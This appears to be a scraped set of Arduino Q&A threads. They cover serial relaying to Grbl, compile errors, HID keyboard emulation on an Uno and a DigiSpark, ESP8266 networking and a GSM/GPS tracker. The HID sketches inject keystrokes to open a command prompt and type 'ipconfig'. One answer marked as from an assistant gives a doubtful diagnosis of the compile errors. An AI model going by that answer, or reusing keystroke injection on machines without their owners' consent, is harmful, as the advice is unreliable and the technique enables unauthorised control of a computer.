message:
Use an Arduino to "intercept" transparently serial communication to Grbl?

[![Fritzing Schema connection 2 Arduinos][1]][1]I need to have an Arduino "spying" on communications between the PC and another Arduino with GRBL. The goal is to intercept a couple of GCode commands and act on them instead of Grbl.

My first step is to attempt to be as transparent as possible, but so far, I am not getting from Grbl the clear answer I expect. For example, I get `Grbl 1.1d [?2???B???u5` instead of `Grbl 1.1d ['$' for help]`

Here is my code so far.

    #include <SoftwareSerial.h>

    int PortOneTX = 10;
    int PortOneRX = 11;

    const String USB = "USB";
    const String GRBL = "GRBL";

    char endOfLine = '\n';

    SoftwareSerial portOne(PortOneRX, PortOneTX);

    String grblBytes = "";
    String USBBytes = "";

    void setup()
    {
     Serial.begin(115200);
     while (!Serial)
     {
      ; // Do nothing, just wait till we are connected through USB
     }
     portOne.begin(115200);
     portOne.write("\r\n");
     delay(2);  ;
    }

    String stringtoWrite = "";

    void loop()
    {
     if (portOne.available() > 0)//while (portOne.available())
     {
      stringtoWrite = portOne.readStringUntil(endOfLine);
      for (int i = 0; i < stringtoWrite.length(); i++)
      {
       Serial.write(stringtoWrite[i]);
      }
      Serial.write(endOfLine);

     }
     if (Serial.available() > 0)//while (Serial.available())
     {
      stringtoWrite = Serial.readStringUntil(endOfLine);
      for (int i = 0; i < stringtoWrite.length(); i++)
      {
       portOne.write(stringtoWrite[i]);
      }
      portOne.write(endOfLine);

     }
    }

I feel that I should be using events instead of if (serial.available) in the loop, but I am not sure how to go about it. I thought it would be easy! <lol>

Anyway, as I want Grbl-Panel to work totally transparently, I need this first step to be Ok before doing anything else.

Thanks for your help.

  [1]: https://i.stack.imgur.com/GtjtO.png

body:
I finally solved my problem by buying an Arduino Due! It was a problem of speed, not of code. The Uno is just not powerfull enough to read an write to Software Serial at 115200 Bauds, or even 9600, which I tried.

The Due has absolutly no problem. I made a small code test to intercept "words" coming form "USB" To "GRBL", and it works just as expected, while GCODE is send (using Grbl-Panel on the PC) through the Due (USB) to the Uno (Grbl).

It's the very first time I solve what I thought to be a code problem by an hardware solution.

BTW, in case anyone wonder, yes, I am using a level shifter between the 2.


sender: user

message:
I seem to be having trouble with these libraries and the Arduino 101. Can anyone look at my output and tell me what I should do?

I'm not finding many resources out there. I already tried using new versions of "TFTv2.h" and "TFTv2.cpp", but I don't think much of anything changed in my output.

These are the libraries I'm trying to use. The sketch I'm trying to compile for the 101 is empty except for these lines and an empty setup() and loop().

    #include <stdint.h>
    #include <TFTv2.h>//For Seedstudio Touch
    #include <SPI.h>
    #include <SeeedTouchScreen.h>   //Seedstudio LCD touch screen Library File
    #include <SD.h>//For Seedstudio Touch
    #include <XBee.h>   //Zigbee Wireless transciever Library File
    #include <Printers.h>   //Zigbee Wireless transciever Library File

Basically I need to know whether I need to find replacements or workarounds for these libraries. Compiling for the 101 in Visual Studio, I get a lot of output messages that I don't get when compiling for the Mega. I have more-or-less no idea what they mean.

I'll go ahead and paste the non-verbose output here. Thanks for your advice! Let me know if I should add the verbose output, and I'll post it right away.

# output (non-verbose);

    Compiling debug version of 'Arduino_101trial' for 'Arduino/Genuino 101'
    Sd2Card.cpp:In member function 'uint8_t Sd2Card::readData(uint32_t, uint16_t, uint16_t, uint8_t*)
    Sd2Card.cpp:379:12: warning: unused variable 'n' [-Wunused-variable]
    :uint16_t n
    SdFile.cpp:In static member function 'static uint8_t SdFile::make83Name(const char*, uint8_t*)
    SdFile.cpp:261:15: warning: unused variable 'b' [-Wunused-variable]
    :uint8_t b
    SdFile.cpp:In member function 'uint8_t SdFile::rmRfStar()
    SdFile.cpp:907:40: warning: comparison between signed and unsigned integer expressions [-Wsign-compare]
    :if (curPosition_ != (32*(index + 1))) {
    TFTv2.cpp:In member function 'void TFT::drawString(char*, short unsigned int, short unsigned int, short unsigned int, short unsigned int)
    TFTv2.cpp:388:18: warning: value computed is not used [-Wunused-value]
    :*string++
    SeeedTouchScreen.cpp:In file included from
    pins_arduino.h:39:14: error: 'uint8_t' does not name a type
    :static const uint8_t SS   = 10
    pins_arduino.h:40:14: error: 'uint8_t' does not name a type
    :static const uint8_t MOSI = 11
    pins_arduino.h:41:14: error: 'uint8_t' does not name a type
    :static const uint8_t MISO = 12
    pins_arduino.h:42:14: error: 'uint8_t' does not name a type
    :static const uint8_t SCK  = 13
    pins_arduino.h:44:14: error: 'uint8_t' does not name a type
    :static const uint8_t SDA = 18
    pins_arduino.h:45:14: error: 'uint8_t' does not name a type
    :static const uint8_t SCL = 19
    pins_arduino.h:46:14: error: 'uint8_t' does not name a type
    :static const uint8_t LED_BUILTIN = 13
    pins_arduino.h:48:14: error: 'uint8_t' does not name a type
    :static const uint8_t A0 = 14
    pins_arduino.h:49:14: error: 'uint8_t' does not name a type
    :static const uint8_t A1 = 15
    pins_arduino.h:50:14: error: 'uint8_t' does not name a type
    :static const uint8_t A2 = 16
    pins_arduino.h:51:14: error: 'uint8_t' does not name a type
    :static const uint8_t A3 = 17
    pins_arduino.h:52:14: error: 'uint8_t' does not name a type
    :static const uint8_t A4 = 18
    pins_arduino.h:53:14: error: 'uint8_t' does not name a type
    :static const uint8_t A5 = 19
    pins_arduino.h:55:14: error: 'uint8_t' does not name a type
    :static const uint8_t ATN = 20
    Arduino.h:In file included from
    wiring_private.h:from
    SeeedTouchScreen.cpp:from
    SeeedTouchScreen.cpp:In member function 'Point TouchScreen::getPoint()
    SeeedTouchScreen.cpp:94:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(yp_port) &= ~yp_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:95:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(ym_port) &= ~ym_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:100:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(xp_port) |= xp_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:101:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(xm_port) &= ~xm_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:127:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(xp_port) &= ~xp_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:130:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(yp_port) |= yp_pin
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:153:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(xp_port) &= ~xp_pin;            \\ Set X+ to ground
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:154:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(ym_port) |=  ym_pin;            \\ Set Y- to VCC
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    SeeedTouchScreen.cpp:155:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
    :*portOutputRegister(yp_port) &= ~yp_pin;            \\ Hi-Z X- and Y+
    variant.h:in definition of macro 'portOutputRegister
    :#define portOutputRegister(port)  (uint32_t*)port
    Error compiling libraries

sender: assistant

body:
So it looks like you have some warnings in `Sd2Card.cpp`, `SdFile.cpp`, `TFTv2.cpp`

For the most part you can ignore these warnings

As for `SeeedTouchScreen.cpp` it looks like you're getting Errors for pins.
`does not name a type` means that `uint8_t` is not a type Visual Studio understands.

Then further down you're getting another warning for `SeeedTouchScreen.cpp`

`cast to pointer from integer of different size `

Did you make sure that whatever board you're using is compatible with these libraries?

The Arduino Mega has 54 digital input/output pins (of which 14 can be used as PWM outputs), 16 analog inputs, 4 UARTs (hardware serial ports)

The 101 comes with 14 digital input/output pins (of which 4 can be used as PWM outputs), 6 analog inputs.

This means that if your libraries are designed for the Mega and no other board you will run into these errors


message:
Arduino Serial.println() keeps transmitting data even when conditions are imposed

I am using Arduino UNO and a bluetooth module.  I have used an `if` condition so that `Serial.println()` happens only once but it keeps on printing.  Please help. Below is the code.

    //Begin CODE
    char str;
    String fnal;
    int i;

    void setup()
    {
      Serial.begin(9600);
      fnal="";
      i=0;
    }

    void loop()
    {
      i++;
      if(i<2)
      {
        Serial.print('#');
        Serial.print('1');
        delay(10);
      }
    }

According to this code `#` and `1` should be printed only once but in serial monitor the printing continues infinitely.

body:
If you had put a Serial.print inside `loop` you would have seen the problem. Debugging displays are very helpful. Like this:

    void loop()
    {
      i++;
      Serial.println (i);   // <---- debugging
      if(i<2)
      {
        Serial.print('#');
        Serial.print('1');
        delay(10);
      }
    }

Since you are adding 1 to `i` each time around the loop, how long do you think it will go before `i` overflows? It will go up and up, get to 32767 and then become -32768, and then count back to 0. During that time it will be less than 2, and it will do the printing of "#1".


body:
It is definitely an overflow issue.

You declared `i` as `int` which ranges from -32768 to 32767.
I wrote this code as an experiment:

    void loop() {
      unsigned long now = millis();
      i++;
      if(i==0){
        Serial.println(now);
      }
    }

The result is `i` overflows every 264 ms, so `if(i<2)` will be `true` many times per second.

A simple solution is to put `i++;` inside the `if` instead, like this:

    void loop()
    {
      if(i<2)
      {
        i++;
        Serial.print('#');
        Serial.print('1');
        delay(10);
      }
    }

`i` will stop incrementing when the value is 2.
No more overflow.


message:
How to set timeout?

Want to implement timeout for RPS counter after for instance 1 second. Since here I use status change for RPS calculation, I suppose that if the state is either HIGH or LOW for more than one seconds then rps should return 0.

However, it does not work. What is the problem.

    float rps[4]={0.00,0.00,0.00,0.00};
    unsigned long int PRINT_PERIOD = 1000;
    unsigned long int lastTimePrinted = 0;
    int lastReedState[4];
    unsigned long lastTransition[4]={0,0,0,0};
    //int reedState[4];
    //unsigned long now[4]={0,0,0,0};
    float rps_result[4]={0,0,0,0};
    float rps_resul[4];
    //unsigned long revolutionTime[4]={0,0,0,0};

    unsigned long int LT;  // Last Time
    unsigned long int PT;  // Passed Time
    unsigned long int TT;  // Time

    void setup(){

     Serial.begin(9600);

     DDRD &= ~_BV (7); // pinMode (7, INPUT);       // rps_1
     DDRB &= ~_BV (0); // pinMode (8, INPUT);       // rps_2
     DDRC &= ~_BV (1); // pinMode (A1, INPUT);      //  rps_3
     DDRD &= ~_BV (2); // pinMode (2, INPUT);       //  rps_4

    delay(85);

    }

    float rps_out(int k){

        //static int lastReedState;
        //static unsigned long lastTransition;
        //static float rps_result;
        //float rps_result;
        int reedState;
        unsigned long now;
        unsigned long revolutionTime;

       if ( k == 0 )     reedState = (PIND & _BV (7)) == 0; // digitalRead (7);
       else if ( k==1 )  reedState = (PINB & _BV (0)) == 0; // digitalRead (8);
       else if ( k==2 )  reedState = (PINC & _BV (1)) == 0; // digitalRead (A1);
       else if ( k==3 )  reedState = (PIND & _BV (2)) == 0; // digitalRead (2);

        // On a rising transition of the reed switch:
        if (reedState == HIGH && lastReedState[k] == LOW) {                   // HIGH  LOW   measuring the low period    // LOW HIGH measuring the high period
            // Compute time since last valid transition.
            //unsigned long now = micros();
            //unsigned long revolutionTime = now - lastTransition;       // measuring the High period
             now = micros();
             revolutionTime = now - lastTransition[k];       // measuring the High period
            // Compute the rps

            //if(revolutionTime[k] == 0 ) return 0;

            if(revolutionTime == 0 ) rps_result[k] = 0;     // avoid deviding by zero

             rps_result[k] = 1.00 / (12.00*revolutionTime) *1000000.00;  // 12 is rotary encoders resolution

            // Remember this transition.
            lastTransition[k] = now;

        }

        // Remember last state.
        lastReedState[k] = reedState;

    ////////////////////////////////////////////////////////////   timeout

        if(reedState == HIGH || reedState == LOW  ) {

           PT = millis();
           TT = PT - LT;
        if( TT > 1000)  rps_result[k] = 0;

         LT = PT;

    }

    //////////////////////////////////////////////////////////////////

        if(rps_result[k] < 1) return 0.00;
        return rps_result[k];

    }

    void loop() {

       rps[0] = rps_out(0);
       rps[1] = rps_out(1);
       rps[2] = rps_out(2);
       rps[3] = rps_out(3);

        if (millis() - lastTimePrinted >= PRINT_PERIOD) {

         Serial.print(rps[0]);
         Serial.print(',');
         Serial.print(rps[1]);
         Serial.print(',');
         Serial.print(rps[2]);
         Serial.print(',');
         Serial.println(rps[3]);

          lastTimePrinted = millis();

         }

    }

body:
Since you need less that 1 second between changes, the minimal RPS would be 60.

So just change `if(rps_result[k] < 1) return 0.00;` to `if(rps_result[k] < 60) return 0.00;`


message:
Arduino Uno as a HID the letters duplicate

This is my current result.
[![my problem please help][1]][1]
I don't know how to solve this.
This is my code:

    //Modifier Keys
    #define LEFT_CTRL   0x01
    #define LEFT_SHIFT  0x02
    #define LEFT_ALT    0x04
    #define LEFT_GUI    0x08
    #define RIGHT_CTRL  0x10
    #define RIGHT_SHIFT 0x20
    #define RIGHT_ALT   0x40
    #define RIGHT_GUI   0x80

    //Keys
    #define KEY_ENTER 0x28
    #define KEY_BACKSPEACE 0x2A
    #define KEY_TAB 0x2B
    #define KEY_CAPSLOCK 0x39
    //keyPress(RIGHT_ALT, 0x1F);

    uint8_t buf[8] = { 0 }; //buffer

    void setup()
    {
      Serial.begin(9600);
      delay(600);
      keyPress(LEFT_GUI, 0x15); // Windows keys + R
      keyRelease();
      delay(200);
      keyString("cmd");
      delay(500);
      keyPress(0, KEY_ENTER);
      keyRelease();
      delay(500);
      keyString("ipconfig");
      delay(500);
      keyPress(0, KEY_ENTER);
      keyRelease();
    }

    void loop()
    {
      //keyString("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 - = [] \\ ; ' , . / !@#$%^&*()_+ {}|; \" <> ?"); // <---test key
    }

    void keyRelease()
    {
      buf[0] = 0;
      buf[2] = 0;
      Serial.write(buf, 8); // Release key
    }

    void keyString(String text) {
      char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
      int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};
      //                                                                                39    61    91    93    44    46    45    32    43
      char normal_sym[] =     { '1',  '2',  '3',  '4',  '5',  '6',  '7',  '8',  '9',  '0',  '\'',  '¡',  '[',  '+', 'ñ',  ',',  '.',  '-',  ' ',  '+'};
      int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,  0x2D, 0x2E, 0x2F, 0x30, 0x33 ,0x36, 0x37, 0x38, 0x2C, 0x57};

      char shift_sym[] =     { '!',  '"',  '#',  '$',  '%',  '&',  '/',  '(',  ')',  '=',  '?',  '¿',  '°',  '*',  'Ñ', '{',   ';',  ':',  '_'};
      int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x33, 0x34, 0x36, 0x37, 0x38};

    /*  English Dic
      char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
      int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};

      char normal_sym[] =     {  '1', '2',  '3',  '4', ' 5',  '6',  '7',  '8',  '9',  '0',  '-',  '=',  '[',  ']',  '\\', ';'  '\'',  ',',  '.',  '/',  ' '};
      int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38, 0x2C};

      char shift_sym[] = {'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '{', '}', '|', ':', '\"', '<', '>', '?'};
      int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38};
    */
      char temp_char;

      for(int i = 0;i<text.length();i++)  //Recorre lo que vos le mandaste
      {
        temp_char = text.charAt(i); //Agarra el primer caracter que se le envia por parametro
        if(((int)temp_char >= 97 && (int)temp_char <= 122) || ((int)temp_char >= 65 && (int)temp_char <= 90)) //Si el caratecer es una letra mayuscula o minuscula ---
        {
          for(int j = 0;j<sizeof(mean_dic) - 1;j++) //Recorre esta lista
          {
            if(temp_char == alpha[j]) //Si el caracter es igual al de la lista entonces...
            {
              keyPress(0, mean_dic[j]); //Presionalo
              keyRelease();
              break;
            }
            else if(temp_char == toupper(alpha[j])) //Si el caracter es igual al de la lista (En MaYuscula)
            {
              keyPress(RIGHT_SHIFT, mean_dic[j]); //Presionalo
              keyRelease();
              break;
            }
          }
        }

        else if(((int)temp_char >= 48 && (int)temp_char <= 57) || ((int)temp_char >= 43 && (int)temp_char <= 46 || (int)temp_char == 32  || (int)temp_char == 39 || (int)temp_char == 173 || (int)temp_char == 164 || (int)temp_char == 91 || (int)temp_char == 93)) //Si el caratecer es una letra mayuscula o minuscula...
        {
          //check = false; //Flag para distinguir nros de caractes especiales
          for(int j = 0;j<sizeof(mean_normal_sym)-1;j++)  //Recorro los nros
          {
            if(temp_char == normal_sym[j]) //Si en una de esas coincide
            {
              keyPress(0, mean_normal_sym[j]);
              keyRelease();
              break;
            }

          }
        }

        else
        {
            for(int i = 0;i<sizeof(mean_shift_sym)-1;i++)//Di lo tuyo Bart...
            {
              if(temp_char == shift_sym[i])
              {
                keyPress(LEFT_SHIFT, mean_shift_sym[i]);
                keyRelease();
                break;
              }
            }
          }
      }
    }

    void keyPress(int mod, int key)
    {
      buf[0] = mod;
      buf[2] = key;
      Serial.write(buf, 8);
    }

  [1]: https://i.stack.imgur.com/f4vF0.jpg

body:
You might want to consider using the function isAlpha() If its on an Arduino.
Also `if (tempChar == 'A')` will work and make the code more readable.

I suspect the problem you have is caused by keyPress() and keyRelease().  You are setting 4 bytes of buffer and then writing 8 bytes to the serial interface.  What is the value in buffer[4]?  I think its a lucky coincidence that its duplicating characters rather than crashing.


message:
Communication between Raspberry PI (Windows IOT) and Arduino with ESP8266

I'm currently working on a Home Automation project where I have a Raspberry Pi on Windows IoT which communicates with multiple arduinos running on FreeRTOS (I need multi-tasking).
At the moment the communication is through the serial port using Xbees, the Pi sends a command, and the arduino send's back a string in JSON format.

For cost optimisation reasons, I want to try to switch the Xbees with ESP8266 modules. Is it possible to get the same kind of serial communication over WIFI?Thanks.

body:
> Is it possible to get the same kind of serial communication over WIFI?

Not precisely, no - but TCP sockets are a similar concept.

You would be best programming the ESP8266 directly to implement a simple TCP to UART bridge firmware instead of fighting with the crummy AT firmware that comes with them.


body:
Its possible to do something similar, but you could reduce the cost even more and drop the Arduinos if you can get FreeRTOS to work on ESP-8266.

These links gives you a brief guide to using the ESP8266 shield for serial over WIFI and how to program the ESP8266 directly.

https://learn.sparkfun.com/tutorials/esp8266-wifi-shield-hookup-guide
https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/using-arduino-ide

Of course you could also look at an ESP32s which is a dual core microprocessor with loads of networking stuff baked into the chip, its about £7/$8 at the moment.


body: Carlos, have a look at the ESP-Link project that will, I believe, provide the system you require.  As said you may be able to drop the Arduino's using ESP12's.  You may also like to consider MQTT to communicate from the Pi to the ESP's


message:
Why isn't DigiSpark automatically recognized on other computers?

I bought a DigiSpark (it is a development board based on the ATtiny85 microcontroller) yesterday and I wrote my first script.

I have no problems to run it on my personal PC (which I am using to program my DigiSpark). The problem is when I try to plug my DigiSpark to another PC, which doesn't have DigiSpark drivers installed. I tried to run it on two different PCs (Windows 7) and Windows just can not find DigiSpark drivers so my script does not run.

Of course I tried to plug in to different USB ports - unfortunately it did not help.

Any ideas what can I do to make my DigiSpark run on other PC without installing drivers by myself?

Thank you.

body:
You will need to install the drivers before you can use it on other computers.
The drivers tell a Windows PC how to talk to the device.  The device is not a generic device so Windows can't use a fall back driver, like it could with a keyboard or monitor.


body:
not true, https://www.reddit.com/r/arduino/comments/5ii5mv/why_digispark_is_not_automatically_recognized_on/
Yes, I try to get the DigiSpark to look like a keyboard to a host PC and execute a series of keystrokes. Here is my script: http://pastebin.com/dY05nbGY
permalinkembedparent
[–]cptskippy 3 points 5 months ago

Ok, you're using the DigiKeyboard library so that should make the Digispark show up as HID device. When you plug the DigiSpark into a PC where you haven't installed the drivers, does a "HID Keyboard Device" appear in the Device Manager under the Keyboards branch?

The Digispark powers up and executes the program immediately. My guess is that you probably need a delay in your code to allow the host PC to setup the interface.

<!-- language-all: lang-cpp -->

    #include "DigiKeyboard.h"

    void setup() {
        DigiKeyboard.delay(5000);  // Wait 5 seconds before proceeding
    }

    int limit = 1;
    int current = 0;

    void loop() {
        DigiKeyboard.update();

        if (current < limit) {
            DigiKeyboard.sendKeyStroke(0);

            DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
            DigiKeyboard.delay(100);
            DigiKeyboard.println("ipconfig");
            current++;
        }

        DigiKeyboard.delay(5000);
    }

permalinkembedparent
[–]readerpl[S] 2 points 5 months ago
You are the best!!! IT WORKS!!!!!


body:
the digi spark make use of a bitbanged usb. (emulated usb).
because of this a new pc wont see a HID keyboard but a digi spark. only when the driver is installed it will automaticly switch to the HID driver for the emulated usb stack.
they pro micro has a hardware usb stack. this wil directly show a HID keyboard and work right away.


message:
How to get the ID of an Arduino?

I use Arduino Pro Mini. As I know, every MCU has a number. Different MCU has different number.  How to get it ?

body: Arduino Pro mini is based on Atmega328 which does not have a unique ID. It has only `device signature` which you can read if you turn on `Show verbose output during upload` in Arduino IDE's **File** > **Preferences**.


body: Could you be confusing the term micro-chip (often applied to any tiny, programmable electronic device) with the manufacturer named "Microchip" (who make the PIC series of micro-controllers, among many other products)? Microchip (the company) does make a line of products that have individually unique IDs. Most manufacturers do not provide unique IDs in their micro-controller devices, and AVR's Atmega 328 series devices do not have unique ID's.


message:
Tracking Device Using Arduino UNO, GSM and GPS

I'm using SIM900A and GY NEO6MV2. I'm supposed to receive device location continuously after sending "Staff" to GSM and will stop receiving the location if I send "Stop" to GSM. This work on Serial monitor but not on my cellphone.

        #include <SoftwareSerial.h>
        #include <TinyGPS.h>

        float flat, flon; // create variable for latitude and longitude object
        int temp=0,i;

        SoftwareSerial mySerial(10, 11); // create gps sensor connection
        TinyGPS gps; // create gps object

        void setup(){
           Serial.begin(9600); // connect serial
           mySerial.begin(9600); // connect gps sensor
           delay(2000);
           Serial.println("AT+CNMI=2,2,0,0,0");
           temp=0;
         }

         void loop()
         {
            while(Serial.available())
            {
               if(Serial.find("Staff"))
               {
                  get_gps();
               }
               if(Serial.find("Stop"))
               {
                   loop();
                }
             }
          }

         void get_gps() // run over and over
          {
            unsigned long start = millis();

            while (millis() - start < 10000) {
            if (mySerial.available()) {
                 char c = mySerial.read();
                 if (gps.encode(c)) {
                     gpsdump(gps);;
                 }
                }
              }
            }

         void gpsdump(TinyGPS &gps)
         {
             init_sms();
             gps.f_get_position(&flat,&flon);
             Serial.print("Location?\nRight here:\n");
             Serial.print("Google Maps: https://google.com/maps/place//@");
             printFloat(flat, 5); Serial.print(",");
             printFloat(flon, 5); Serial.print('\n');
             Serial.print("Location as metioned above\nTQVM");
             Serial.write(0x1A);
             delay(2000);
           }

          void init_sms()
         {
           Serial.println("AT+CMGF=1");
           delay(400);
           Serial.println("AT+CMGS=\"+60134484868\"");
           delay(400);
         }

        void printFloat(double number, int digits)
        {
         // Handle negative numbers
         if (number < 0.0) {
         Serial.print('-');
         number = -number;
        }

          // Round correctly so that print(1.999, 2) prints as "2.00"
          double rounding = 0.5;
          for (uint8_t i=0; i<digits; ++i)
          rounding /= 10.0;

          number += rounding;

        // Extract the integer part of the number and print it
         unsigned long int_part = (unsigned long)number;
         double remainder = number - (double)int_part;
         Serial.print(int_part);

        // Print the decimal point, but only if there are digits beyond
        if (digits > 0)
        Serial.print(".");

         // Extract digits from the remainder one at a time
         while (digits-- > 0) {
         remainder *= 10.0;
         int toPrint = int(remainder);
         Serial.print(toPrint);
         remainder -= toPrint;
        }
       }

body:
    void loop() {
        ....
        loop();
        ....
    }

That's an instant death warrant right there. You can kiss your stack goodbye as it crashes mercilessly into your heap. Never ever ever call `loop()` from anywhere.

Your decision as to whether or not to get the GPS data is completely flawed. It will run the function once when it finds "Staff" and never again (unless it sees "Staff" again on serial). It doesn't keep finding the same thing over and over again unless you keep sending it over and over again.

And come to that - how exactly are you sending "Staff" and "Stop" through GSM? I assume by SMS message, however I see no code there to actively retrieve the SMS messages from the SIM. So you'll never see anything anyway.

You need to completely re-think your whole program methodology:

1. Look for new SMS messages
2. If any exist then read one and delete it.
3. If the message contained "Staff" then enable sending mode. If the message contained "Stop" then disable sending mode.
4. If sending mode is enabled and enough time has passed since the last sending then get the GPS data and send it.

You notice the sending of the GPS data is separated from the SMS reception. It's not the reception of the SMS that controls the GSM but the "mode" your program is running in. The SMS just controls that mode.

This is a crude form of [Finite State Machine](https://hackingmajenkoblog.wordpress.com/2016/02/01/the-finite-state-machine/).


message:
Program an Arduino with another Arduino

[![enter image description here][1]][1]

Is there any way I can program an Arduino using another Arduino,without the need of any computer. I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, **burn** this code to the Second arduino. Is it possible? How can it be implemented ?

  [1]: https://i.stack.imgur.com/0az7i.png

body: Yes. Connect 2 arduinos via serial connection (https://www.arduino.cc/en/Reference/Serial), restart one of them via RESET channel and upload sketch(https://www.arduino.cc/en/Guide/ArduinoProMini#toc1). You will need binary files - google 'arduino get sketch binary'(cannot add any more links).


body:
It is certainly possible to do this.

> I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, burn this code to the Second arduino.

I should point out that the EEPROM may not be large enough for this. For example, the Uno has only 1KB of EEPROM.

A more workable solution would be to store a reasonable size program in PROGMEM, or a larger one in external memory, like an SD card.

I have a [page about a stand-alone programmer](http://www.gammon.com.au/forum/?id=11638) - the first idea presented just uses the Serial monitor to command the programmer behaviour:

[![Board programmer][1]][1]

Using the Serial Monitor you select the file you want programmed. Another approach, commissioned by someone who wanted to eliminate the external computer altogether looks like this:

[![Stand-alone programmer][2]][2]

In this case you put one or more hex files onto the SD card, choose one using the "file select" knob, and then press the "program" button to program it. This only takes a couple of seconds.

There are also commercial products that do a similar thing.

  [1]: https://i.stack.imgur.com/DsZ4I.jpg
  [2]: https://i.stack.imgur.com/w3j9f.jpg


message:
Microcontrollers with built in HID support

I am trying to build a wireless gamepad for which i am using NRF24l01 module for my wireless need and for Sending data to computer i need an mcu which support to act as hid device. So far, i got Attiny85 and mcu with atmega324u. But the problem is that attiny85 has very few pins and i cannot use it as for both hid and nrf module simutaneously due to pins defficiency. And atmega324u mcu are not avialable in my country. Can anybody suggest me some mcu with built in hid support.

body:
The ATTiny85 doesn't support USB. You can bitbang USB using the V-USB library. Kind of a hack, but it does work. An ATMega328 (used on the UNO) can do the same thing. So the ATMega328 would be an option too (if the ATTiny85 is).

The ATMega32u4 does support USB natively, so this might be better. The ATMega32u4 is the MCU used on the Arduino Leonardo and the Arduino MICRO. Those might be available where you live.

You can also use a regular Arduino UNO. As on the UNO there is also a ATMega16u2 that does the usb-to-serial. You can reprogram this ATMega16u2 to also act as a keyboard. Like [in this project](http://mitchtech.net/arduino-usb-hid-keyboard/)


message:
Teensy to Teensy serial communication via USB connector

I have 2 Arduino Teensy 3.2 boards that I'm trying to implement serial communication between the 2 boards.  I have successfully done this by connecting RX1 of the 1st Teensy with TX1 of 2nd Teensy and TX1 of 1st to RX1 2nd.

However I was wondering if I could send serial messages between the Teensys i.e. do the same thing, by connect the 2 Teensys via the USB port?  Or is this USB port reserved to connecting the Teensy to a computer?

[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/9actA.png

body:
Note: The Teensy you pictured is an ARM based (NXP MK20DX256) Arduino which is very different from well established legacy Arduinos. There have been (and, maybe, still are) "bugs" in some ARM Arduino code.  So Teensy pins used outside their normal (expected) purpose my or may not work like similar pins on legacy Arduino platforms.

In order for 2 [USB][1]s to talk to each other, one needs to be a USB Host and the other a [USB Device][2].  There can be multiple USB Devices so the USB protocol is made more complex to handle this feature.  There can be many types of USB Devices each with their own underlying protocol so the USB protocol is made more complex to handle this additional feature.  A serial port USB Device uses the [CDC or Communications Device Class protocol][3].

So, in order to have two Teensy board to talk to one another using the USB CDC protocol, one of the Teensy boards needs to be turned from a USB Device to a USB Host.  Which is not trivial.  Most developers will turn to the OEM of the processor.  As most processor OEMs offer free software for such purposes to promote the sales of their hardware.

  [1]: https://en.wikipedia.org/wiki/USB
  [2]: https://en.wikipedia.org/wiki/USB#Device_classes
  [3]: https://en.wikipedia.org/wiki/USB_communications_device_class


